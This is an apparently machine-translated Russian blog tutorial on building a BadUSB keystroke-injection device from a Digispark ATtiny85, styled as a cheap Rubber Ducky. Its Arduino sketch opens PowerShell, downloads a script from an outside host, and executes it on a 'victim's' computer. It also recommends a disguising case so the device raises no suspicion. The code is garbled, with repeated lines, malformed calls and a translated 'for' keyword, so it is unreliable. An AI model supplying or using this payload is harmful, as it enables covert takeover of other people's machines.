Программируемая «флешка» или как быстро взять на себя компьютер

Сегодня запись представляет собой форму учебника о том, как создать свой собственный программируемый USB-накопитель по типу дорогой и популярной Rubber Ducky от Hak5. Он будет работать по принципу клавиатуры – подключенный к компьютеру входит в заранее запрограммированную последовательность клавиш. Первым шагом является приобретение миниатюрной платы Arduino на базе микроконтроллера ATtiny85 — Digispark. Самый дешевый вы можете найти у наших друзей из Китая на одном из популярных аукционных сайтов. Цены начинаются там от $1 —Digispark Так как иногда ATtiny85 - Дигиспарк возникает проблема с обнаружением DigiSpark некоторыми компьютерами (особенно портами USB3), лучше всего сразу запастись адаптером, который решает эту проблему (стоимость около 2$) —Адаптер Когда USB адаптер заказанное оборудование доберется до нас, нам нужно запрограммировать его среду, которой будет Adruino IDE —Arduino Tutorial подключение к нему Digisparka мы можем найти здесь —Схема Наш контроллер имеет ограниченный объем памяти, поэтому правильная полезная нагрузка может не поместиться на нем. Я обошел эту проблему, поместив на нее код, который загружает скрипт с полезной нагрузкой с помощью powershell, который, в свою очередь, позже будет запущен на компьютере жертвы:

#include "DigiKeyboard.h" void setup() { }

void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(500); DigiKeyboard.print("powershell"); DigiKeyboard.sendKeyStroke(500); DigiKeyboard.KEY_ENTER); DigiKeyboard.delay(1000); DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client = New-Object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client= new-object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client= new-object System.Net.WebClient"); DigiKeyboard.sendStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.print("$client.). DownloadFile("https://my127001.pl/script.ps1" , "script.ps1")"); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(2000); DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); DigiKeyboard.delay(750); DigiKeyboard.print("powershell.exe -File script.ps1"); DigiKeyboard.sendKeyStroke(KEY_ENTER); для (;;) { /*пустой*/ }

}

Для того, чтобы в дальнейшем сделать внешний вид нашей пендривы более авторитетным, чтобы он не вызывает подозрений, стоит запастись печатным корпусом, например, из дизайнапод ссылкой — Корпус Все это выглядит так и может взять под контроль компьютер жертвы за считанные секунды: Программируемый «флешка»

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Закладка Постоянная ссылка.

Podziel się swoją opinią na temat artykułu